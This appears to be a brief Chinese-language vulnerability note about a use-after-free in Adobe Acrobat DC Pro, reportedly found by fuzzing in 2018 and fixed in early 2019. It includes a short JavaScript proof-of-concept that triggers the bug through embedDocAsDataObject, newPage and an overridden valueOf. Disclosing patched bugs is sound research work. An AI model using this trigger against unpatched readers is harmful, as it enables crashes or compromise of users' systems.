Adobe Acrobat DC Pro touchup UaF

漏洞分析
,

Info

应该是18年下半年fuzz到的，不记得哪个版本的Adobe Acrobat DC Pro的UaF了，当时测试的是只能在32位机器上触发，留这个洞留了一个月没管，在19年年初修了。

藏洞藏到最后一无所有。

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19


var ooo = new Object();

app.trigger = function() {
    app.doc.embedDocAsDataObject({cName:"http://www.B.com", oDoc:app.trigger});
}


//must keep this line
try{app.doc.newPage({nWidth:200, nHeight:72, nPage:2});}catch(e){}

//trigger
try{ooo.valueOf = app.trigger;}catch(e){}

//must keep this line 
try{ooo.valueOf();}catch(e){}


poc.pdf